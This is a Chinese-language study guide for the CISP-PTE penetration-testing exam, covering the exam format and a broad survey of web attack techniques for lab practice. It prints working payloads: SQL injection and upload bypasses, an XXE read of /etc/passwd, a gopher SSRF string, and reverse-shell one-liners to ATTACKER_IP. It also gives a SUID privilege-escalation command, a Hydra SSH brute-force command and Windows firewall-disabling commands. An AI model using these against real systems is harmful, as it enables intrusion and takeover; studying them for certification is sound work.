关于获取CISP-PTE一些避坑经历
字数 3939 2025-08-18 11:35:59
CISP-PTE认证考试全面指南与实战技巧
考试概述
CISP-PTE(Certified Information Security Professional - Penetration Test Engineer)是中国信息安全测评中心推出的渗透测试工程师认证。考试采用线下形式,主要在上海等地举行,分为上午场和下午场。
考试结构
- 选择题:20道,共20分
- 基础题:5道,每道1个Key,共50分
- 综合大题:1道,含3个Key,共30分
- 总分:100分,通过分数为70分
考试环境
- 考场提供标准键盘,不允许携带外设
- 使用奇安信开发的专用考试软件
- 电脑全程监控,快捷键被锁定
- 考试时长3小时,时间管理至关重要
考试准备与注意事项
考前准备
- 熟悉考试软件界面(类似TryHackMe的浏览器内嵌虚拟机)
- 准备常用工具和技术笔记
- 练习快速审题和记录关键信息
考试技巧
- 审题:仔细阅读题目要求,避免方向性错误
- 记录:随时使用记事本记录关键信息和思路
- 源码:养成查看页面源代码的习惯
- 环境分析:时刻思考当前环境可能存在的漏洞
渗透测试核心知识点
渗透测试七个阶段
- 前期交互
- 情报收集/信息收集
- 威胁建模
- 漏洞分析
- 漏洞利用/漏洞攻击
- 后渗透(深度利用)
- 书面报告
信息收集技术
Google Hacking
site:指定域名-site排除特定域名- 使用DuckDuckgo等替代搜索引擎
子域名收集
- 子域名挖掘机工具使用
- 爆破技术(如御剑)
服务器信息收集
- Nmap扫描:端口、服务识别
- 目录扫描:御剑等工具
- 常见泄露文件:
- .SVN/.git泄露
- 网站备份文件(test.rar等)
- .DS_store文件
- WEB-INF文件
- 配置文件泄露(.config, config.php.bak等)
- robots.txt
SQL注入全面技术
SQL注入类型
- 基于注入点属性:数字型、字符型
- 基于注入点位置:GET型、POST型、Cookie型、HTTP Head型
- 基于注入程度:一阶注入、二阶注入
- 基于服务器响应:
- 有回显:联合查询、报错注入、堆叠注入
- 无回显:布尔盲注、延时盲注
- 特殊业务场景:
- update/insert/delete注入
- order by注入
- 宽字节注入
- HTTP分割注入
- HTTP参数污染
注入技术详解
- 联合查询注入:
UNION SELECT - 报错注入:利用extractvalue、updatexml等函数
- 布尔盲注:基于条件响应的真伪判断
- 时间盲注:利用sleep等函数延时响应
- 读写操作:
into outfile/dumpfile
SQL注入绕过技巧
- 注释符使用:
#,--,/*!xxx*/ - 内联注释:
/*!50000select*/ - 编码绕过:十六进制、URL编码等
- 等价函数替换
文件上传漏洞
常见绕过技术
- 客户端检测绕过(修改文件扩展名)
- MIME类型检测绕过(修改Content-Type)
- 图片马制作(添加GIF89a头)
- 文件内容检测绕过(混淆代码)
- 黑名单绕过:
- 大小写(PhP)
- 特殊后缀(php3, phtml)
- 点空格(1.php.)
- 双写(pphphp)
- 解析漏洞利用:
- Apache多后缀解析(1.php.xxx)
- IIS分号解析(1.asp;.jpg)
- Nginx解析(1.jpg/.php)
.htaccess利用
AddType application/x-httpd-php .jpg
或
<FilesMatch "hack">
SetHandler application/x-httpd-php
</FilesMatch>
其他技巧
- %00截断(PHP<5.3.4)
- 文件拼接:
copy normal.png/b + shell.php/a hacker.png - .user.ini利用:
auto_prepend_file=1.jpg auto_append_file=1.jpg
文件包含漏洞
伪协议利用
file://- 绝对路径读取php://filter/read=convert.base64-encode/resource=- 读取文件内容data://text/plain,<?php phpinfo();?>- 代码执行php://input- POST传递执行代码zip://- 读取压缩包内文件phar://- 读取压缩包内文件
日志投毒
- 利用Apache日志(/var/log/auth.log)包含恶意代码
中间件安全
Apache漏洞
- .htaccess文件利用
- 日志文件包含
- 多后缀解析漏洞(123.php.a1.a2.a3)
IIS漏洞
- 目录解析(xx.asp目录内的任何文件)
- 文件解析(1.asp;.jpg)
- 特殊扩展名(.asp, .asa, .cer, .cdx)
Nginx漏洞
- 路径解析(1.jpg/.php)
- %00截断(影响特定版本)
命令执行漏洞
绕过技巧
-
Linux命令分隔:
a&b- 都执行a&&b- 前真后执行a|b- 执行后面a||b- 前假后执行%0a- 换行符;- 命令分隔
-
空格绕过:
cat${IFS}flag.phpcat$IFS'flag.php'cat<flag.php{cat,flag.php}
-
命令绕过:
- 变量拼接:
a=l;b=s;$a$b - 编码绕过:
echo d2hvYW1pCg== | base64 -d - 替代命令:
less,more,tac,head,tail,od,strings
- 变量拼接:
Windows命令执行
who^ami(whoami)set a=whoami&%a%%a:~0%- 取全部字符
代码执行漏洞
危险函数
eval()- 直接执行PHP代码assert()- PHP7.0.29前可作为函数使用preg_replace()- 使用/e修饰符执行代码create_function()- 创建匿名函数${}- 变量解析执行
动态函数执行
$func = "system";
$func("whoami");
XSS攻击
类型
- 反射型XSS
- 存储型XSS
- DOM型XSS
- XSS盲打
利用方式
<script>
document.write('')
</script>
监听:python3 -m http.server 8000
防御绕过
htmlspecialchars过滤- JS函数大小写转换
/替换空格和引号
CSRF攻击
类型
- GET型CSRF
- POST型CSRF
防御
- 验证Referer字段
- 添加Token验证
- 二次验证
- 用户教育
反序列化漏洞
特征
- 当类中有private参数时,序列化字符串格式为:
%00类名%00成员名
利用
- 寻找
__wakeup()、__destruct()等魔术方法 - 利用phar协议触发反序列化
SSRF漏洞
危害
- 内网探测
- 窃取敏感数据
- 攻击内网应用
- 绕过安全防御
利用协议
http://- 基本探测file://- 读取本地文件dict://- 执行单条命令gopher://- 完整TCP数据流
Gopher协议利用
gopher://192.168.1.1:80/_GET%20/index.php%20HTTP/1.1%0d%0aHost:%20192.168.1.1%0d%0a
XXE漏洞
基本利用
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
进阶技巧
- 外部实体引用
- 参数实体
- 盲XXE(带外数据)
- 利用php://filter获取文件内容
- 利用expect://执行命令(需安装扩展)
防御绕过
- 修改Content-Type:
application/json改为application/xml
逻辑漏洞
常见类型
- 短信轰炸(多手机号参数)
- 用户名枚举(不同响应)
- 未授权访问
- 会话固定/重用
- 空口令漏洞
- 越权漏洞:
- 水平越权(同权限用户)
- 垂直越权(不同权限用户)
- 验证码问题:
- 验证码复用
- 验证码可回显
- 万能验证码(888888等)
- 交易支付漏洞:
- 单价篡改
- 支付接口修改
- 优惠券无限使用
后渗透技术
提权方法
-
SUID提权:
find / -user root -perm -4000 -exec ls -ldb {} \;例如find提权:
find 1 -exec whoami \; -
sudo提权:
- 查看sudo权限:
sudo -l - 利用有sudo权限的命令提权
- 查看sudo权限:
-
内核漏洞提权:
- 使用dirtycow等漏洞
反弹Shell
-
Bash:
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 -
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' -
限制长度的反弹Shell:
echo \<?php>1 echo Eval\(>>1 echo \$_GET>>1 echo \[``1\``]>>1 echo \)\;>>1 echo \?\>>>1 mv 1 1.php
实战靶场与练习
推荐靶场环境
- 上课环境-pte-100.100-administrator-123.com [192.168.101.134]
- CentOS7-100.150-root [192.168.101.150]
- XSS靶机 [192.168.101.141]
- WebShell应急响应靶场 [192.168.101.142]
- pwnlab靶场 [192.168.101.143]
综合题技巧
-
端口扫描:nmap全面扫描
-
目录扫描:御剑等工具
-
水平越权:修改user_id等参数
-
数据库连接:查找config.php等配置文件
-
密码爆破:
- Hydra爆破SSH:
hydra -L u.txt -P p.txt ssh://192.168.101.142 - 提取响应值生成字典
- Hydra爆破SSH:
-
Windows系统:
netsh firewall set opmode mode=disable netsh advfirewall set allprofiles state off net user administrator mima
考试实战经验
高频考点
- SQL注入读取Key(非传统注入)
- AntSword连接限制(仅支持REQUEST/POST)
- 文件上传的各种绕过技巧
- 伪协议利用(特别是php://filter)
- 反弹Shell的多种方式
时间管理
- 选择题快速作答(约15分钟)
- 基础题每题控制在20分钟内
- 综合大题预留60分钟
- 最后15分钟检查Key是否正确提交
注意事项
- 所有Key必须正确提交,格式要准确
- 不要忽略简单题目,确保基础分拿满
- 遇到卡壳时及时切换题目
- 合理利用提供的环境信息(IP、端口等)
通过系统学习和充分练习这些技术点,考生可以全面掌握CISP-PTE考试要求的渗透测试技能,在实际考试中取得优异成绩。